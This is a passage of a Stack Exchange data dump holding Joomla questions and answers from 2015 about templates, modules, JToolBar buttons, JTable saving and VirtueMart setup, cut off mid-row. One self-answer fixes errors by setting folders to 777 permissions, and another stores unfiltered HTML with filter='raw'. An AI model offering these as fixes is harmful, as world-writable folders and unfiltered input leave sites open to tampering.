  <row Id="7468" PostTypeId="2" ParentId="7467" CreationDate="2015-02-05T09:41:55.733" Score="2" Body="&lt;p&gt;Latest version of Joomla is &lt;strong&gt;3.3.6.&lt;/strong&gt; Provided you have no other extensions installed, try &lt;strong&gt;updating to the latest&lt;/strong&gt; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to mention some of the techniques you can apply to speed-up your Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable Joomla &lt;strong&gt;Caching&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Detail information about caching is described &lt;a href=&quot;https://www.siteground.com/tutorials/joomla/joomla-speed.htm#cache&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Enable Gzip &lt;strong&gt;Compression&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On admin menu go to Site &gt; Global Configuration &gt; Server tab, and switch the Gzip Page Compression to &lt;strong&gt;YES&lt;/strong&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Optimization of &lt;strong&gt;Media&lt;/strong&gt; files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Try using &lt;strong&gt;minified versions&lt;/strong&gt; of JS and CSS files. And for images, don’t try to upload &lt;strong&gt;big scale pictures&lt;/strong&gt;, &lt;strong&gt;re-size&lt;/strong&gt; them before uploading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the last part I want to mention is, choose a &lt;strong&gt;good web host&lt;/strong&gt; by doing a little research. &lt;/p&gt;&#xA;" OwnerUserId="487" LastEditorUserId="168" LastEditDate="2015-02-05T10:04:46.980" LastActivityDate="2015-02-05T10:04:46.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7470" PostTypeId="2" ParentId="7453" CreationDate="2015-02-05T10:07:07.027" Score="1" Body="&lt;p&gt;That sounds strange. Obviously, the template has the last say how an extensions output will be rendered. This is achieved by using override files which would be located in the folder &lt;code&gt;/templates/your_template/html/your_component/your_viewname&lt;/code&gt;. However I doubt this is the issue in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how you generate your output. Usually a view uses a view layout file located in &lt;code&gt;/components/your_component/your_viewname/tmpl/layout.php&lt;/code&gt;&#xA;The view class (which extends &lt;code&gt;JViewLegacy&lt;/code&gt;) then calls that using &lt;code&gt;parent::display($tpl);&lt;/code&gt;.&#xA;That call will then load the layout file and generate the output.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-02-05T10:07:07.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7471" PostTypeId="1" AcceptedAnswerId="7472" CreationDate="2015-02-05T14:18:01.137" Score="3" ViewCount="1617" Body="&lt;p&gt;I'm playing around with the default Protostar template that comes with Joomla 3. I took my online site offline and additionally, installed a local webserver for testing. When I use the default Protostar template, I cannot get the top navigation in horizontal direction. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DsYgb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On my local site, everything works fine. Using Chrome dev tools revealed that on my online site there is a missing &lt;code&gt;class&lt;/code&gt; specifier in the navigation menu. The list starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav menu jmoddiv&quot; data-jmodediturl=...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my local installation, there is an additinal &lt;code&gt;nav-pills&lt;/code&gt; entry there. When I add this (with the dev-tools) &lt;code&gt;nav-pills&lt;/code&gt;, the navigation looks fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While my local site was a fresh install, my online site was updated from 2.5. I uninstalled the Protostar template of the online site, packed the local template and re-installed it; without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I'm doing obviously wrong?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Online Joomla information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VeyY9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Local Joomla information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pO5Uz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="220" LastActivityDate="2017-07-08T09:39:07.600" Title="Default Protostar top navigation is not horizontal (class nav-pills is missing)" Tags="|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7472" PostTypeId="2" ParentId="7471" CreationDate="2015-02-05T14:26:04.643" Score="3" Body="&lt;p&gt;On your online site, login to the backend, go to the &lt;strong&gt;Module Manager&lt;/strong&gt; and open the &lt;strong&gt;Menu&lt;/strong&gt; module. There will be a field called &lt;strong&gt;Module Class Suffix&lt;/strong&gt; under the &lt;strong&gt;Advanced&lt;/strong&gt; tab. In here, type in :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nav-pills&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure there is a space before the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-05T14:26:04.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7473" PostTypeId="2" ParentId="5819" CreationDate="2015-02-05T14:39:09.060" Score="2" Body="&lt;p&gt;It seems, that this is a problem of Joomlas custom JToolBar, which is used here to create a Toolbar for the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see last paragraph: &lt;a href=&quot;https://docs.joomla.org/Client-side_form_validation&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Client-side_form_validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, that the work around of this article does not work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile I found the problem. If you have a closer look to the button code, which will be produced in the hmtl output of the site, then you will see, that the type of the button is not set. In this case, it should be 'type=&quot;button&quot;'. If this is not set, the form validation will be triggered in any case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A normal button integration, like suggestion of Dmitry, leads to success. Joomlas JToolbar for custom toolbars needs a correction.&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="463" LastEditDate="2015-02-09T10:31:57.673" LastActivityDate="2015-02-09T10:31:57.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7474" PostTypeId="2" ParentId="5819" CreationDate="2015-02-05T15:50:21.250" Score="2" Body="&lt;p&gt;Another solution is not to use &lt;code&gt;JToolBar&lt;/code&gt; at all. Do really need it? Simply make your button like this (&quot;Cancel&quot; button for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&quot;button&quot; class=&quot;btn&quot; onclick=&quot;Joomla.submitbutton('contact.cancel')&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;icon-cancel&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;amp;#160;&amp;lt;?php echo JText::_('JCANCEL') ?&amp;gt;&#xA;&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.submitbutton = function(task) &#xA;{&#xA;    if (task == 'contact.cancel')&#xA;    {&#xA;        Joomla.submitform(task);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you are good to go.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2015-02-06T09:41:02.083" LastActivityDate="2015-02-06T09:41:02.083" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="7475" PostTypeId="1" CreationDate="2015-02-05T16:03:53.023" Score="0" ViewCount="136" Body="&lt;p&gt;I have component called &quot;MyComponent&quot; and table class called &quot;MyComponentTableSample&quot;. In model I create instance to table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = JTable::getInstance('Sample', 'MyComponentTable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I want to setDBO&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;setDBO($this-&amp;gt;getTargetLanguageDbo());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and execute table's method that contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$row = new stdClass();&#xA;$row-&amp;gt;primary_key = 1;&#xA;$row-&amp;gt;field_name = &quot;something&quot;;&#xA;$this-&amp;gt;bind($row);&#xA;$this-&amp;gt;store(TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it doesn't insert/update row in database. I checked and &lt;code&gt;bind()&lt;/code&gt; and &lt;code&gt;store()&lt;/code&gt; return true. When I call out &lt;code&gt;$this-&amp;gt;_db&lt;/code&gt; from table's method, it returns me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&quot;_database&quot;:&quot;JDatabase&quot;:private]=&amp;gt;&#xA;  string(20) &quot;my_databaseName&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what is correct and it means dbo has been set, but still there is no row in database. &lt;code&gt;$this-&amp;gt;getErrors()&lt;/code&gt; from table returns empty array&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-02-05T16:03:53.023" Title="Component JTable ignores setDbo() and don't save row" Tags="|joomla-2.5|jtable|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7476" PostTypeId="1" AcceptedAnswerId="8797" CreationDate="2015-02-05T16:10:01.937" Score="0" ViewCount="253" Body="&lt;p&gt;I am looking all over the Zoo, to see where I can set viewing access level for categories. I want to give access to them only for registered users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that I am missing, or there is not support for this by default ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-02-26T23:59:48.727" LastActivityDate="2015-02-26T23:59:48.727" Title="Zoo: How to set categories view access only to registered users?" Tags="|zoo-cck|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7477" PostTypeId="2" ParentId="7476" CreationDate="2015-02-05T16:24:52.590" Score="1" Body="&lt;p&gt;The only ACL Management I can see for the categories is, if you go to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Components&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Zoo&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Config&lt;/strong&gt; (tab) &gt;&gt; &lt;strong&gt;Permissions&lt;/strong&gt; (dropdown)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Else the only other method I can see is setting the access level for each Item belonging to a specific category&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-05T16:24:52.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7479" PostTypeId="1" AcceptedAnswerId="7480" CreationDate="2015-02-05T17:04:48.230" Score="1" ViewCount="131" Body="&lt;p&gt;I've tried installing Joomla 2.5 and Virtuemart 3 (full install download from Virtuemart's website) and I went through the installation process ok. However I've had a lot of errors come up and don't understand it at all. It looks like it could be missing files or file permissions. I've posted pictures to show some of the errors coming up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPcp9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enter image description here&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-05T17:29:23.533" Title="Joomla 2.5 and Virtuemart 3 installation problems" Tags="|joomla-2.5|mysql|virtuemart|sql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7480" PostTypeId="2" ParentId="7479" CreationDate="2015-02-05T17:29:23.533" Score="1" Body="&lt;p&gt;I've fixed it myself. I set all the permissions for the folders in the com_virtuemart folder in the administration folder to 777, and created image folders as specified. All errors are now gone.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-05T17:29:23.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7489" PostTypeId="1" CreationDate="2015-02-06T09:01:03.057" Score="0" ViewCount="264" Body="&lt;p&gt;Normal code to add some field to the template is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;examplevalue&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Example value&quot; description=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need something like this but dynamicly, because of this needs i imported in backend of my template 1 js file which is: admin.js, i insert in my control group a new span element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#attrib-example-control-group').append('&amp;lt;span id=&quot;addnewvalue&quot;&amp;gt;add new value&amp;lt;/span&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then i added a new action for this button also trough admin.js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#addnewvalue').on('click', function () {&#xA;    $('#attrib-example-control-group').append('&amp;lt;div class=&quot;control-group&quot;&amp;gt;\n\&#xA;        Example value: &amp;lt;input type=&quot;text&quot; name=&quot;newexamplevalue&quot; id=&quot;newexamplevalue&quot; /&amp;gt;\n\&#xA;    &amp;lt;/div&amp;gt;'); &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Give standard xml parameter for template fields &lt;code&gt;&amp;lt;field&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tried to copy html output of already existing values, renamed it and tried to save&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have now method how i add this fields, but my problem is how to save it successful?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2015-04-07T23:15:45.297" Title="How to save custom value as template parameter/field?" Tags="|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7490" PostTypeId="2" ParentId="4281" CreationDate="2015-02-06T09:48:24.660" Score="1" Body="&lt;p&gt;The question doesn't make clear if you load bootstrap 2 and bootstrap 3 at the same time, and also it's not clear how you try to use glyphicons in your code. The right (and working) way is for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;glyphicon glyphicon-ok&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3657" LastActivityDate="2015-02-06T09:48:24.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7491" PostTypeId="1" AcceptedAnswerId="7506" CreationDate="2015-02-06T10:21:28.517" Score="3" ViewCount="322" Body="&lt;p&gt;My module uses the sql field (JFormFieldSQL) for a few simple queries in the database for a 3rd party component. My concern is that if the tables are missing, opening the module in the admin will &quot;crash&quot; the back-end, because of the error in the mysql (not finding the table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to have the module in the backend checking if the table exists in db and if not to throw a notification that the necessary table is missing, and not continue loading the xml ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-25T12:34:37.883" LastActivityDate="2016-04-25T12:34:37.883" Title="Module XML with SQL field (JFormFieldSQL) - Custom Form Field - Check if table exists" Tags="|module|xml|form-fields-types|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7493" PostTypeId="2" ParentId="2406" CreationDate="2015-02-06T11:55:32.923" Score="5" Body="&lt;p&gt;In fact, it is very easy to filtering the list of users in User form field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First in your manifest you should create a new type for your field, for example userFiltering (see below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;        name=&quot;myUser&quot;&#xA;        type=&quot;userFiltering&quot;&#xA;        label=&quot;LABEL&quot;&#xA;        description=&quot;DESCRIPTION&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the fieldset of the manifest, add the attribute 'addfieldpath' with the path of your new field type declaration (see below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset addfieldpath=&quot;/administrator/components/com_mycomponent/models/fields&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finaly in the path &quot;/administrator/components/com_mycomponent/models/fields&quot;, create a file userfiltering.php with the code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die();&#xA;&#xA;class JFormFieldUserfiltering extends JFormFieldUser {&#xA;&#xA;public $type = 'userfiltering';&#xA;&#xA;protected function getGroups()&#xA;{&#xA;    $groups = array();&#xA;    $groups[] = 11; // put here the list of the groups you want to filter&#xA;    return $groups;&#xA;}&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all&lt;/p&gt;&#xA;" OwnerUserId="3660" LastEditorUserId="3660" LastEditDate="2015-02-06T12:17:28.077" LastActivityDate="2015-02-06T12:17:28.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7494" PostTypeId="1" AcceptedAnswerId="7499" CreationDate="2015-02-06T13:52:05.937" Score="1" ViewCount="858" Body="&lt;p&gt;I've created a plugin, that has administrator fields that will setup things to be shown on the site page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if is there a way to load this plugin to a page as it's done with a module. Is there a way to set it to be shown on a specific position of a page? Or should I make a blank module that will load this plugin. If yes, how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1744" LastActivityDate="2015-02-06T22:41:32.837" Title="How to load plugin to a specific page" Tags="|module|plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7496" PostTypeId="1" AcceptedAnswerId="7578" CreationDate="2015-02-06T14:39:40.857" Score="2" ViewCount="675" Body="&lt;p&gt;Are reciepts automatically sent to the admin e-mail when a customer places an order using Virtuemart 3 and Joomla 2.5? I have seen the registration process which is ok, but I haven't seen any order e-mails arrive in the associated admin inbox. Do I need to install an extension? Or is it to be set somewhere in the config?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-09-14T21:37:48.683" Title="Virtuemart 3 Automatic e-mails/reciepts" Tags="|joomla-2.5|virtuemart|emails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7497" PostTypeId="1" CreationDate="2015-02-06T15:04:04.180" Score="2" ViewCount="1285" Body="&lt;p&gt;I want to be able to load a specific module from a position in a Joomla template. I have more than one module assigned to that position for other templates but for this new template I only want to load for example a module by name, or a module by index from that position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible using the jdoc:include tag? or is there any other way to make it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of a classic template position load that I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; style=&quot;xhtml&quot; name=&quot;maintop-a&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3662" LastEditorUserId="159" LastEditDate="2015-02-06T20:40:19.367" LastActivityDate="2015-02-13T10:49:25.210" Title="Load specific module from position in joomla" Tags="|module|templates|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7498" PostTypeId="1" AcceptedAnswerId="7513" CreationDate="2015-02-06T15:23:21.413" Score="1" ViewCount="379" Body="&lt;p&gt;Is it possible to add attributes to products in Virtuemart 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a pizza would have an attribute could &quot;Extra Topping&quot;. The user can choose what topping they want from a drop down list, such as &quot;extra cheese&quot; or &quot;peppers&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was possible in Virtuemart 1, so is it possible in VM3?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-07T02:45:30.097" Title="Is it possible to add attributes in Virtuemart 3?" Tags="|joomla-2.5|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7499" PostTypeId="2" ParentId="7494" CreationDate="2015-02-06T17:42:34.563" Score="3" Body="&lt;p&gt;If I understood right what you said to subashbasnet8, it is a Module you want to do: create a new module, and select &quot;Custom HTML&quot; as Module type. Now you can edit it directly in HTML via the code editor, and it will be shown in the position you want. &lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-02-06T17:42:34.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7500" PostTypeId="2" ParentId="7497" CreationDate="2015-02-06T17:46:35.623" Score="2" Body="&lt;p&gt;Documentation says :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;module&quot; name=&quot;breadcrumbs&quot; title=&quot;Breadcrumbs&quot; /&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;module&quot; name=&quot;mainmenu&quot; title=&quot;Main Menu&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;This element renders a single module given by the name and title&#xA;  attributes: name should match module type (mod_breadcrumbs and&#xA;  mod_menu in the examples above) while title should be the module name&#xA;  of the desired module. The module in question must be published and&#xA;  accessible by the current user in order to become visible. Additional&#xA;  attributes can be provided to control the layout and appearance of the&#xA;  module, if supported.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is that what you need?&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-02-06T17:46:35.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7501" PostTypeId="2" ParentId="7497" CreationDate="2015-02-06T17:54:16.427" Score="1" Body="&lt;p&gt;I'm not sure if this is what you're looking for, but you can use &lt;code&gt;JModuleHelper::getModule&lt;/code&gt; to load any module by name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.application.module.helper' );&#xA;$module = JModuleHelper::getModule( 'mainmenu', 'Key Concepts' );&#xA;$attribs['style'] = 'xhtml';&#xA;echo JModuleHelper::renderModule( $module, $attribs );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example usage, take a look at &lt;a href=&quot;https://docs.joomla.org/JModuleHelper/renderModule&quot; rel=&quot;nofollow&quot;&gt;this documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-06T17:54:16.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7502" PostTypeId="1" AcceptedAnswerId="7503" CreationDate="2015-02-06T18:08:54.563" Score="2" ViewCount="588" Body="&lt;p&gt;I'm creating a module, where the user posts a HTML code on the backend and it will be rendered on the site page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I save the module content, the HTML disappear and just plain text is shown, and the HTML is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before Saving:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gOUH2.png&quot; alt=&quot;before saving&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After Saving:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m7OM5.png&quot; alt=&quot;After saving&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating the field like this, in my component &lt;em&gt;.xml&lt;/em&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;         &#xA;        &amp;lt;field name=&quot;html_code&quot; type=&quot;textarea&quot; rows=&quot;10&quot; cols=&quot;30&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1744" LastEditorUserId="159" LastEditDate="2015-02-06T20:39:10.560" LastActivityDate="2015-02-06T20:39:10.560" Title="HTML code disappears in module backend field after save" Tags="|module|administrator|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7503" PostTypeId="2" ParentId="7502" CreationDate="2015-02-06T18:37:17.037" Score="2" Body="&lt;p&gt;Try adding &lt;code&gt;filter=&quot;raw&quot;&lt;/code&gt; to your XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;         &#xA;        &amp;lt;field name=&quot;html_code&quot; type=&quot;textarea&quot; rows=&quot;10&quot; cols=&quot;30&quot; filter=&quot;raw&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;filter (optional) allow the system to save certain html tags or raw data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(from &lt;a href=&quot;https://docs.joomla.org/Text_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Text_form_field_type&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-06T18:37:17.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7504" PostTypeId="1" AcceptedAnswerId="7505" CreationDate="2015-02-06T19:45:53.417" Score="1" ViewCount="294" Body="&lt;p&gt;I have a module that gets the HTML written by the user on the backend, and the module should retrieve this HTML string and render it on the page, but instead it's printing the HTML string instead of rendering it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I load my module in a specific page and in a specific position, and it should render the HTML, but instead it's just printing the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_publicidade.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;$html = $params-&amp;gt;get('html');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;echo $html;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_publicidade.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension&#xA;    type=&quot;module&quot;&#xA;    version=&quot;3.1&quot;&#xA;    client=&quot;site&quot;&#xA;    method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Publicidade&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Roger&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;2015&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2015 All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;my@email.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.rogcg.com&amp;lt;/authorUrl&amp;gt;&#xA;    